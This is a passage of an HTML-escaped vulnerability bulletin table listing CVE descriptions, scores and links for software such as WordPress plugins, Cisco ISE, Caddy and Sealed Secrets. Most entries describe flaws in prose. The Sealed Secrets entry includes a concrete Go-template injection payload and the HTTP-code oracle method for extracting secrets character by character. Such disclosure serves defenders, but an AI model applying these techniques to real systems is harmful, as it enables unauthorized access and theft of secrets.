&lt;td&gt;Auth0 Symfony is a Symfony SDK for Auth0 Authentication and Management APIs. From 5.0.0-BETA0 until 5.9.0, the Authorizer::authenticate() and Authorizer::supports() paths in the Authorizer security authenticator may accept OAuth 2.0 bearer access tokens from the token URL query parameter as well as the Authorization header for protected HTTP routes. Query-string tokens can be recorded in server logs, browser history, or referrer data and then replayed against protected API endpoints. This issue is fixed in version 5.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50157&quot; target=&quot;_blank&quot;&gt;CVE-2026-50157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;azkaban--azkaban&lt;/td&gt;
&lt;td&gt;Azkaban through 4.0.0 omits project permission checks in the ScheduleServlet fetchSchedule action, allowing authenticated users to read any project&#039;s schedule configuration. Attackers can supply arbitrary project and flow identifiers to retrieve sensitive schedule details including execution times, cron expressions, flow parameters, and notification email lists without proper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93737&quot; target=&quot;_blank&quot;&gt;CVE-2026-93737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;azukaar--Cosmos-Server&lt;/td&gt;
&lt;td&gt;Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. Prior to 0.22.19, tokenMiddleware in src/proxy/routerGen.go can return through the Constellation tunnel bypass before removing x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers and before invoking AdminOnlyWithRedirect. An attacker with a valid x-cstln-auth API key for an enrolled device who reaches Cosmos through the Constellation Nebula tunnel can supply a chosen x-cosmos-user value to a route with AuthEnabled enabled when the upstream application trusts that forward-auth header. The request can bypass Cosmos JWT, password, MFA, and AdminOnly checks, allowing user impersonation and admin-tier reads or writes exposed by the proxied application. This issue is fixed in version 0.22.19.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49446&quot; target=&quot;_blank&quot;&gt;CVE-2026-49446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;batiste--django-page-cms&lt;/td&gt;
&lt;td&gt;django-page-cms through 2.0.13 fails to properly validate page permissions in admin helper views, allowing any staff account to read arbitrary page content and stored media paths. Attackers with low-privilege staff credentials can enumerate content identifiers and access unpublished drafts, page listings, and file paths without proper authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93455&quot; target=&quot;_blank&quot;&gt;CVE-2026-93455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bdthemes--Element Pack Elementor Addons&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Element Pack Elementor Addons &amp;lt;= 8.8.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66574&quot; target=&quot;_blank&quot;&gt;CVE-2026-66574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bdthemes--Live Copy Paste for Elementor Cross Domain Copy Paste &amp;amp; Page Duplicator&lt;/td&gt;
&lt;td&gt;The Biggop Library is vulnerable to Cross-Site Scripting via the &#039;display_id&#039; parameter from the Sigmative API in various versions due to insufficient output escaping. This makes it possible for attackers who can compromise the Sigmative API server to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92991&quot; target=&quot;_blank&quot;&gt;CVE-2026-92991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BerqWP--BerqWP&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in BerqWP &amp;lt;= 4.1.15 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78528&quot; target=&quot;_blank&quot;&gt;CVE-2026-78528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bitnami--sealed-secrets&lt;/td&gt;
&lt;td&gt;A security vulnerability exists in the Sealed Secrets controller&#039;s unauthenticated POST endpoints. By submitting a modified payload containing custom Go template logic in spec.template.data, an attacker with internal network access can abuse the handler as a decryption oracle to recover the full plaintext of any sealed secret. The POST /v1/verify and /v1/rotate handlers call Unseal() to decrypt target secrets, then render any Go templates found in spec.template.data.* using the decrypted payload as the evaluation context (pkg/apis/sealedsecrets/v1alpha1/sealedsecret_expansion.go). Errors encountered during template execution are directly reflected in the resulting HTTP response status codes. Missing AEAD label binding: the spec.template.data field is omitted from the AEAD authenticated-data label binding ciphertext to metadata. As a result, an attacker can copy a target&#039;s valid metadata and encryptedData verbatim, satisfying AEAD decryption and label validation, while freely replacing spec.template.data with arbitrary template logic. Side-channel oracle: template execution errors map directly to HTTP response codes. HTTP 200 (OK) indicates template execution succeeded; HTTP 409 (Conflict) indicates template execution failed (e.g. via {{ fail &quot;...&quot; }}). By injecting conditional statements such as {{ if eq (substr 0 1 .password) &quot;S&quot; }}ok{{ else }}{{ fail &quot;x&quot; }}{{ end }}, an attacker receives an HTTP 200 status when a character guess is correct and an HTTP 409 when it is incorrect. This differential response leaks one character-equality bit per request, allowing full secret extraction over successive queries. Attack vector &amp;amp; prerequisites: unauthenticated; requires network access to the controller&#039;s internal service port (:8080). Although this service is not exposed to the public internet by default, it is accessible to any pod within the Kubernetes cluster or via a kubectl port-forward connection.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59341&quot; target=&quot;_blank&quot;&gt;CVE-2026-59341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;blockspare--BlockSpare Gutenberg Blocks for News, Magazine, Blog &amp;amp; Business Websites&lt;/td&gt;
&lt;td&gt;The BlockSpare plugin for WordPress is vulnerable to authorization bypass due to incorrect logic in the permission callback in all versions up to, and including, 4.2.6 due to the use of an AND (&amp;amp;&amp;amp;) operator instead of an OR (||) operator. This makes it possible for authenticated attackers, with Subscriber-level access and above, to bypass authorization checks and create arbitrary posts.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1242&quot; target=&quot;_blank&quot;&gt;CVE-2026-1242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;blueglassch--Job Postings&lt;/td&gt;
&lt;td&gt;The Job Postings plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;position_button&#039; parameter in all versions up to, and including, 2.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18063&quot; target=&quot;_blank&quot;&gt;CVE-2026-18063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BlueKitchen GmbH--BTstack&lt;/td&gt;
&lt;td&gt;BlueKitchen BTstack through 1.8.2 fails to validate the peer-reported endpoint count against table bounds in A2DP stream endpoint discovery. A bonded peer can send an AVDTP DISCOVER response with more endpoints than the fixed table holds, causing out-of-bounds writes that corrupt adjacent static objects and crash the process or sever event delivery.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93015&quot; target=&quot;_blank&quot;&gt;CVE-2026-93015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;boldthemes--Bold Page Builder&lt;/td&gt;
&lt;td&gt;The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;shortcode_content&#039; parameter of the bt_bb_shortcode shortcode in all versions up to, and including, 5.9.6. This is due to a bypassable security filter (bt_bb_save_pre) that can be circumvented via null byte injection, combined with insufficient output sanitization of base64-decoded content in the bt_bb_raw_content shortcode handler. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5920&quot; target=&quot;_blank&quot;&gt;CVE-2026-5920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bompus--WP Customer Reviews&lt;/td&gt;
&lt;td&gt;The WP Customer Reviews plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;wpcr3_fname&#039; parameter in all versions up to, and including, 3.7.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11608&quot; target=&quot;_blank&quot;&gt;CVE-2026-11608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bransys--ELD&lt;/td&gt;
&lt;td&gt;Bransys ELD&amp;nbsp;is shipped with hardcoded MQTT credentials, which will grant read access to real-time data for every active device across a subset of carriers that were connected to the affected MQTT broker.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77960&quot; target=&quot;_blank&quot;&gt;CVE-2026-77960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bransys--ELD&lt;/td&gt;
&lt;td&gt;Bransys ELD&amp;nbsp;is shipped with hardcoded MQTT credentials, which will grant read access to real-time data for every active device across a subset of carriers that were connected to the affected MQTT broker.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86689&quot; target=&quot;_blank&quot;&gt;CVE-2026-86689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;brechtvds--WP Recipe Maker&lt;/td&gt;
&lt;td&gt;The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;notes&#039; parameter in all versions up to, and including, 10.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90884&quot; target=&quot;_blank&quot;&gt;CVE-2026-90884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Breeze Cache--Breeze Cache&lt;/td&gt;
&lt;td&gt;The Breeze Cache WordPress plugin before 2.5.15 does not include a set of tracking-related query parameters in its page-cache key while still caching pages requested with them, allowing unauthenticated attackers to have a page rendered under their own request context stored under, and served from, the clean URL&#039;s cache entry to every subsequent visitor.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79713&quot; target=&quot;_blank&quot;&gt;CVE-2026-79713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;browserless--browserless&lt;/td&gt;
&lt;td&gt;browserless versions 1.44.0 through 2.56.7 fail to enforce file protocol restrictions in Playwright websocket endpoints, allowing authenticated token holders to read arbitrary files. Attackers can navigate Playwright-driven browsers to file scheme URLs and access files accessible to the container process despite the ALLOW_FILE_PROTOCOL setting defaulting to false.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92811&quot; target=&quot;_blank&quot;&gt;CVE-2026-92811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bugsink--bugsink&lt;/td&gt;
&lt;td&gt;Bugsink is a self-hosted error tracking tool. Prior to version 2.2.2, Bugsink stores every set of custom tags supplied with an incoming event, allowing a caller with a valid project DSN to submit an unusually large tag set and force excessive tag-row writes. Because Bugsink uses a single-writer database architecture, the expensive write transaction delays digestion of other events and causes a temporary ingestion denial of service. Version 2.2.2 applies the configurable MAX_EVENT_TAGS limit before storage. The impact is limited to availability for an instance accepting the event and does not expose stored data, modify existing events, or allow code execution. This issue is fixed in version 2.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53954&quot; target=&quot;_blank&quot;&gt;CVE-2026-53954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BuilderIO--@builder.io/sdk-react&lt;/td&gt;
&lt;td&gt;Builder.io Gen2 SDKs through versions 5.2.11 and 0.25.13 contain a prototype pollution vulnerability in the unflatten helper that processes builder.userAttributes query parameters without prototype guards. Attackers can craft preview links with __proto__ or prototype segments to pollute Object.prototype in a visitor&#039;s browser when the SDK processes the malicious URL.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92781&quot; target=&quot;_blank&quot;&gt;CVE-2026-92781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;c-ares--c-ares&lt;/td&gt;
&lt;td&gt;c-ares is an asynchronous resolver library. Prior to 1.34.7, ares_dns_parse() trusts the attacker-controlled ANCOUNT, NSCOUNT, and ARCOUNT fields before confirming that the DNS response contains enough bytes for the claimed records. Because process_answer() invokes parsing before transaction ID and question validation, a malicious DNS response can cause ares_dns_record_rr_prealloc() and ares_array_set_size() to reserve disproportionate heap memory for a tiny message. Repeated responses create large allocation and release cycles that can degrade or deny name resolution, without causing memory corruption or information disclosure. This issue is fixed in version 1.34.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69186&quot; target=&quot;_blank&quot;&gt;CVE-2026-69186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;caddyserver--caddy&lt;/td&gt;
&lt;td&gt;Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77281&quot; target=&quot;_blank&quot;&gt;CVE-2026-77281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Canva--Canva&lt;/td&gt;
&lt;td&gt;Canva Desktop before v1.125.0 performed double decoding in the deeplink handler. A threat actor could cause the application to load arbitrary same-origin content under the user&#039;s session.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92839&quot; target=&quot;_blank&quot;&gt;CVE-2026-92839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--HMT.CM2507 Firmware&lt;/td&gt;
&lt;td&gt;CM2507 IP cameras automatically execute a predetermined script from removable media without verifying its authenticity or integrity. An attacker with physical access to the device could supply a malicious script and execute arbitrary code in the security context of the affected device.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81305&quot; target=&quot;_blank&quot;&gt;CVE-2026-81305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;celomitan--Gum Addon for Elementor&lt;/td&gt;
&lt;td&gt;The Gum Addon for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;pop_tag&#039; parameter in all versions up to, and including, 1.3.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8354&quot; target=&quot;_blank&quot;&gt;CVE-2026-8354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ChangeWeDer--crm&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in ChangeWeDer crm up to c07bd4c97141521af6475034bc58523beed51bbd. This issue affects the function index of the file UserController.java of the component top.upstudy.crm.controller.UserController. The manipulation results in missing authorization. The attack can be launched remotely. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92402&quot; target=&quot;_blank&quot;&gt;CVE-2026-92402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;charmbracelet--soft-serve&lt;/td&gt;
&lt;td&gt;Soft Serve versions 0.7.1 through 0.11.6 fail to scope Git LFS lock queries by repository, allowing authenticated users to read lock metadata from repositories they cannot access. Attackers with write access to any repository can enumerate lock IDs globally to recover locked file paths, usernames, and lock timestamps from private repositories.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91773&quot; target=&quot;_blank&quot;&gt;CVE-2026-91773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chatwoot--chatwoot&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in chatwoot up to 4.17.1. This impacts an unknown function of the file callbacks_controller.rb of the component Shopify OAuth. The manipulation leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92527&quot; target=&quot;_blank&quot;&gt;CVE-2026-92527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Checkout Field Manager (Checkout Manager) for WooCommerce--Checkout Field Manager (Checkout Manager) for WooCommerce&lt;/td&gt;
&lt;td&gt;The Checkout Field Manager (Checkout Manager) for WooCommerce WordPress plugin before 7.9.7 does not properly validate the ownership of an attachment before deleting it, allowing any authenticated user such as a customer to delete arbitrary media attachments belonging to other users.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87829&quot; target=&quot;_blank&quot;&gt;CVE-2026-87829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Checkout Field Manager (Checkout Manager) for WooCommerce--Checkout Field Manager (Checkout Manager) for WooCommerce&lt;/td&gt;
&lt;td&gt;The Checkout Field Manager (Checkout Manager) for WooCommerce WordPress plugin before 7.9.7 does not properly validate the ownership of an attachment before deleting it, allowing any authenticated user such as a customer to delete arbitrary media attachments belonging to other users.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87831&quot; target=&quot;_blank&quot;&gt;CVE-2026-87831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chuck1982--WP Inventory Manager&lt;/td&gt;
&lt;td&gt;The WP Inventory Manager plugin for WordPress is vulnerable to SQL Injection via the &#039;where&#039; shortcode attribute of the [wpinventory] shortcode in versions up to, and including, 2.5.1. This is due to insufficient escaping on the user-supplied parameter and lack of sufficient preparation on the existing SQL query in the WPIMItem::get_all() function - parse_custom_where() only performs html_entity_decode(), strips semicolons, and does field-label name replacements, without using $wpdb-&amp;gt;prepare() or a whitelist. The resulting string is concatenated into a raw SELECT statement that is executed via $wpdb-&amp;gt;get_results(). This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17607&quot; target=&quot;_blank&quot;&gt;CVE-2026-17607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco BroadWorks&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot Application Software could allow an authenticated, remote attacker with low privileges to alter configurations on an affected device. This vulnerability is due to missing authorization checks. An attacker could exploit this vulnerability by sending a crafted HTTP request.&amp;amp;nbsp;A successful exploit could allow the attacker to alter configurations on select pages.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76438&quot; target=&quot;_blank&quot;&gt;CVE-2026-76438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the IPsec Open API endpoint of Cisco ISE could allow an authenticated, remote attacker to inject arbitrary commands on the underlying operating system.&amp;amp;nbsp; This vulnerability is due to insufficient validation of user-supplied input in IPsec Open API calls. An attacker could exploit this vulnerability by sending crafted input to the IPsec Open API endpoint on an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system.&amp;amp;nbsp; To exploit this vulnerability, the attacker must have valid administrative credentials and the node must have more than one network interface, one of which must be configured as an active IPsec tunnel. Note: For CVE-2026-20283, Cisco has assigned a Security Impact Rating (SIR) of High rather than Medium as the score indicates. The reason is that it is easy to get to root from the achieved privilege level.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20283&quot; target=&quot;_blank&quot;&gt;CVE-2026-20283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20287 are related to improper privilege managment issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-269.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20287&quot; target=&quot;_blank&quot;&gt;CVE-2026-20287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20309&quot; target=&quot;_blank&quot;&gt;CVE-2026-20309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the client provisioning download feature of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to access protected files on an affected device. This vulnerability is due to insufficient validation of directory traversal character sequences in a user-supplied path when the software processes provisioning resource requests. An attacker could exploit this vulnerability by sending a crafted request to the provisioning download service. A successful exploit could allow the attacker to access protected files without authentication, potentially exposing sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76433&quot; target=&quot;_blank&quot;&gt;CVE-2026-76433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the endpoint posture status reporting functionality of the guest portal web application of Cisco ISE could allow an unauthenticated, remote attacker to submit forged posture status events into the endpoint posture pipeline. This vulnerability is due to insufficient authentication on an internal interface that is exposed through the guest portal. An attacker could exploit this vulnerability by sending a crafted request to an affected system. A successful exploit could allow the attacker to manipulate the posture status on the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
